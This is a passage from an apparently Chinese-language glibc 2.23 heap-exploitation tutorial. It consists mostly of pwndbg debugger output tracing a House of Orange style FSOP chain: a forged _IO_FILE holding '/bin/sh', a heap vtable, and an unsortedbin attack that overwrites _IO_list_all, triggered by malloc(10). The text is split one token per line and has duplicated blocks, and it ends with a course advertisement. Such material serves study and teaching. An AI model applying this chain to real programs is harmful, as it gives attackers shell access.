>, <
-
-
fp
-
>_IO_write_ptr > fp
-
>_IO_write_base
_IO_write_ptr
=
0x3
<error: Cannot access memory at address
0x3
>,
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
0x0
,
_IO_save_base
=
0x0
,
_IO_backup_base
=
0x0
,
_IO_save_end
=
0x0
,
_markers
=
0x0
, <
-
-
top[
12
]
/
jump_table[
0
]
_chain
=
0x0
, <
-
-
jump_table[
1
]
_fileno
=
0
, <
-
-
jump_table[
2
]
_flags2
=
0
,
_old_offset
=
4196051
, <
-
-
jump_table[
3
]
_cur_column
=
0
,
_vtable_offset
=
0
'\000'
,
_shortbuf
=
"",
_lock
=
0x0
,
_offset
=
0
,
_codecvt
=
0x0
,
_wide_data
=
0x0
,
_freeres_list
=
0x0
,
_freeres_buf
=
0x0
,
__pad5
=
0
,
_mode
=
0
, <
-
-
fp
-
>_mode <
=
0
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
0x602460
<
-
-
vtable
=
&top[
12
]
}
pwndbg> x
/
gx
0x602400
0x602400
:
0x0068732f6e69622f
pwndbg> x
/
s
0x602400
0x602400
:
"/bin/sh"
pwndbg> p
*
((struct _IO_FILE_plus
*
)
0x602400
)
# 查看布局之后的old top chunk
$
18
=
{
file
=
{
_flags
=
1852400175
, <
-
-
_flags
=
"/bin/sh"
_IO_read_ptr
=
0x61
<error: Cannot access memory at address
0x61
>,
_IO_read_end
=
0x7ffff7dd1b78
<main_arena
+
88
>
"\020@b"
,
_IO_read_base
=
0x7ffff7dd2510
"",
_IO_write_base
=
0x2
<error: Cannot access memory at address
0x2
>, <
-
-
fp
-
>_IO_write_ptr > fp
-
>_IO_write_base
_IO_write_ptr
=
0x3
<error: Cannot access memory at address
0x3
>,
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
0x0
,
_IO_save_base
=
0x0
,
_IO_backup_base
=
0x0
,
_IO_save_end
=
0x0
,
_markers
=
0x0
, <
-
-
top[
12
]
/
jump_table[
0
]
_chain
=
0x0
, <
-
-
jump_table[
1
]
_fileno
=
0
, <
-
-
jump_table[
2
]
_flags2
=
0
,
_old_offset
=
4196051
, <
-
-
jump_table[
3
]
_cur_column
=
0
,
_vtable_offset
=
0
'\000'
,
_shortbuf
=
"",
_lock
=
0x0
,
_offset
=
0
,
_codecvt
=
0x0
,
_wide_data
=
0x0
,
_freeres_list
=
0x0
,
_freeres_buf
=
0x0
,
__pad5
=
0
,
_mode
=
0
, <
-
-
fp
-
>_mode <
=
0
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
0x602460
<
-
-
vtable
=
&top[
12
]
}
pwndbg> x
/
gx
0x602400
0x602400
:
0x0068732f6e69622f
pwndbg> x
/
s
0x602400
0x602400
:
"/bin/sh"
/
/
执行malloc中的攻击链:
/
/
malloc中第一次大
for
循环:old_top_chunk从unsortedbin脱链(unsortedbin attack)
/
/
-
> old_top_chunk 插入
0x60
大小对应的smallbin(将main_arena
+
88
为起始地址的IO_FILE结构体中的chain修改为&old_top_chunk)
/
/
-
> malloc中第二次大
for
循环:unsortedbin
-
>bk不等于自身(unsortedbin attack攻击结果),而其size为
0
,检查的时候触发异常,调用malloc_printerr,进而调用_IO_flush_all_lockp,导致fsop。
malloc(
10
);
/
/
执行malloc中的攻击链:
/
/
malloc中第一次大
for
循环:old_top_chunk从unsortedbin脱链(unsortedbin attack)
/
/
-
> old_top_chunk 插入
0x60
大小对应的smallbin(将main_arena
+
88
为起始地址的IO_FILE结构体中的chain修改为&old_top_chunk)
/
/
-
> malloc中第二次大
for
循环:unsortedbin
-
>bk不等于自身(unsortedbin attack攻击结果),而其size为
0
,检查的时候触发异常,调用malloc_printerr,进而调用_IO_flush_all_lockp,导致fsop。
malloc(
10
);
pwndbg>
dir
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio
Source directories searched:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio:$cdir:$cwd
pwndbg>
dir
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
malloc
Source directories searched:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
malloc:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio:$cdir:$cwd
pwndbg> p _IO_list_all
$
29
=
(struct _IO_FILE_plus
*
)
0x7ffff7dd2540
<_IO_2_1_stderr_>
pwndbg> p &_IO_list_all
# 打印_IO_list_all地址
$
30
=
(struct _IO_FILE_plus
*
*
)
0x7ffff7dd2520
<_IO_list_all>
pwndbg> wa
*
0x7ffff7dd2520
# 在_IO_list_all设置硬件断点
Hardware watchpoint
2
:
*
0x7ffff7dd2520
pwndbg> c
Continuing.
Hardware watchpoint
2
:
*
0x7ffff7dd2520
Old value
=
-
136501952
New value
=
-
136504456
# main_arena+88
_int_malloc (av
=
av@entry
=
0x7ffff7dd1b20
<main_arena>, bytes
=
bytes@entry
=
10
) at malloc.c:
3527
warning: Source
file
is
more recent than executable.
3527
if
(size
=
=
nb)
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
*
RAX
0x7fffffffdbdf
◂—
0x0
*
RBX
0x7ffff7dd1b20
(main_arena) ◂—
0x100000001
*
RCX
0x7c
*
RDX
0x7ffff7dd1b28
(main_arena
+
8
) ◂—
0x0
*
RDI
0x7fffffffdbe0
◂—
0x0
*
RSI
0x60
R8
0x623000
◂—
0x0
R9
0x0
R10
0x46c
R11
0x7ffff7b5afa0
(__memcpy_avx_unaligned) ◂— mov rax, rdi
*
R12
0x2710
*
R13
0x7ffff7dd1b78
(main_arena
+
88
) —▸
0x624010
◂—
0x0
*
R14
0x602400
◂—
0x68732f6e69622f
/
*
'/bin/sh'
*
/
*
R15
0x7ffff7dd2510
◂—
0x0
*
RBP
0x20
*
RSP
0x7fffffffdb60
◂—
0x7fff00000002
*
RIP
0x7ffff7a8ee3c
(_int_malloc
+
684
) ◂— je
0x7ffff7a8f2e8
──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
►
0x7ffff7a8ee3c
<_int_malloc
+
684
> je _int_malloc
+
1880
<_int_malloc
+
1880
>
0x7ffff7a8ee42
<_int_malloc
+
690
>
cmp
rsi,
0x3ff
0x7ffff7a8ee49
<_int_malloc
+
697
> jbe _int_malloc
+
536
<_int_malloc
+
536
>
↓
0x7ffff7a8eda8
<_int_malloc
+
536
> mov ecx, esi
0x7ffff7a8edaa
<_int_malloc
+
538
> shr ecx,
4
0x7ffff7a8edad
<_int_malloc
+
541
> lea eax, [rcx
+
rcx
-
2
]
0x7ffff7a8edb1
<_int_malloc
+
545
> cdqe
0x7ffff7a8edb3
<_int_malloc
+
547
> lea rax, [rbx
+
rax
*
8
+
0x60
]
0x7ffff7a8edb8
<_int_malloc
+
552
> mov rdi, qword ptr [rax
+
8
]
0x7ffff7a8edbc
<_int_malloc
+
556
> lea r8, [rax
-
8
]
0x7ffff7a8edc0
<_int_malloc
+
560
> mov eax, ecx
──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In
file
:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
malloc
/
malloc.c
3522
unsorted_chunks (av)
-
>bk
=
bck;
3523
bck
-
>fd
=
unsorted_chunks (av);
3524
3525
/
*
Take now instead of binning
if
exact fit
*
/
3526
►
3527
if
(size
=
=
nb) <
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
unsortedbin attack攻击结束
3528
{
3529
set_inuse_bit_at_offset (victim, size);
3530
if
(av !
=
&main_arena)
3531
victim
-
>size |
=
NON_MAIN_ARENA;
3532
check_malloced_chunk (av, victim, nb);
──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00
:
0000
│ rsp
0x7fffffffdb60
◂—
0x7fff00000002
01
:
0008
│
0x7fffffffdb68
◂—
0xa
/
*
'\n'
*
/
02
:
0010
│
0x7fffffffdb70
—▸
0x7fffffffdbe0
◂—
0x0
03
:
0018
│
0x7fffffffdb78
—▸
0x7ffff7b5048b
(_dl_addr
+
443
) ◂— add rsp,
0x28
04
:
0020
│
0x7fffffffdb80
◂—
0x0
05
:
0028
│
0x7fffffffdb88
—▸
0x7fffffffdbe8
—▸
0x7ffff7fd9000
—▸
0x7ffff7a0d000
◂— jg
0x7ffff7a0d047
06
:
0030
│
0x7fffffffdb90
◂—
0xffff800000002421
/
*
'!$'
*
/
07
:
0038
│
0x7fffffffdb98
—▸
0x7fffffffdbdf
◂—
0x0
────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
► f
0
7ffff7a8ee3c
_int_malloc
+
684
f
1
7ffff7a911d4
malloc
+
84
f
2
4006cc
main
+
246
f
3
7ffff7a2d840
__libc_start_main
+
240
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p _IO_list_all
# unsortedbin attack攻击成功,_IO_list_all的值变成了main_arena+88
$
31
=
(struct _IO_FILE_plus
*
)
0x7ffff7dd1b78
<main_arena
+
88
>
pwndbg>
dir
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio
Source directories searched:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio:$cdir:$cwd
pwndbg>
dir
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
malloc
Source directories searched:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
malloc:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio:$cdir:$cwd
pwndbg> p _IO_list_all
$
29
=
(struct _IO_FILE_plus
*
)
0x7ffff7dd2540
<_IO_2_1_stderr_>
pwndbg> p &_IO_list_all
# 打印_IO_list_all地址
$
30
=
(struct _IO_FILE_plus
*
*
)
0x7ffff7dd2520
<_IO_list_all>
pwndbg> wa
*
0x7ffff7dd2520
# 在_IO_list_all设置硬件断点
Hardware watchpoint
2
:
*
0x7ffff7dd2520
pwndbg> c
Continuing.
Hardware watchpoint
2
:
*
0x7ffff7dd2520
Old value
=
-
136501952
New value
=
-
136504456
# main_arena+88
_int_malloc (av
=
av@entry
=
0x7ffff7dd1b20
<main_arena>, bytes
=
bytes@entry
=
10
) at malloc.c:
3527
warning: Source
file
is
more recent than executable.
3527
if
(size
=
=
nb)
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
*
RAX
0x7fffffffdbdf
◂—
0x0
*
RBX
0x7ffff7dd1b20
(main_arena) ◂—
0x100000001
*
RCX
0x7c
*
RDX
0x7ffff7dd1b28
(main_arena
+
8
) ◂—
0x0
*
RDI
0x7fffffffdbe0
◂—
0x0
*
RSI
0x60
R8
0x623000
◂—
0x0
R9
0x0
R10
0x46c
R11
0x7ffff7b5afa0
(__memcpy_avx_unaligned) ◂— mov rax, rdi
*
R12
0x2710
*
R13
0x7ffff7dd1b78
(main_arena
+
88
) —▸
0x624010
◂—
0x0
*
R14
0x602400
◂—
0x68732f6e69622f
/
*
'/bin/sh'
*
/
*
R15
0x7ffff7dd2510
◂—
0x0
*
RBP
0x20
*
RSP
0x7fffffffdb60
◂—
0x7fff00000002
*
RIP
0x7ffff7a8ee3c
(_int_malloc
+
684
) ◂— je
0x7ffff7a8f2e8
──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
►
0x7ffff7a8ee3c
<_int_malloc
+
684
> je _int_malloc
+
1880
<_int_malloc
+
1880
>
0x7ffff7a8ee42
<_int_malloc
+
690
>
cmp
rsi,
0x3ff
0x7ffff7a8ee49
<_int_malloc
+
697
> jbe _int_malloc
+
536
<_int_malloc
+
536
>
↓
0x7ffff7a8eda8
<_int_malloc
+
536
> mov ecx, esi
0x7ffff7a8edaa
<_int_malloc
+
538
> shr ecx,
4
0x7ffff7a8edad
<_int_malloc
+
541
> lea eax, [rcx
+
rcx
-
2
]
0x7ffff7a8edb1
<_int_malloc
+
545
> cdqe
0x7ffff7a8edb3
<_int_malloc
+
547
> lea rax, [rbx
+
rax
*
8
+
0x60
]
0x7ffff7a8edb8
<_int_malloc
+
552
> mov rdi, qword ptr [rax
+
8
]
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课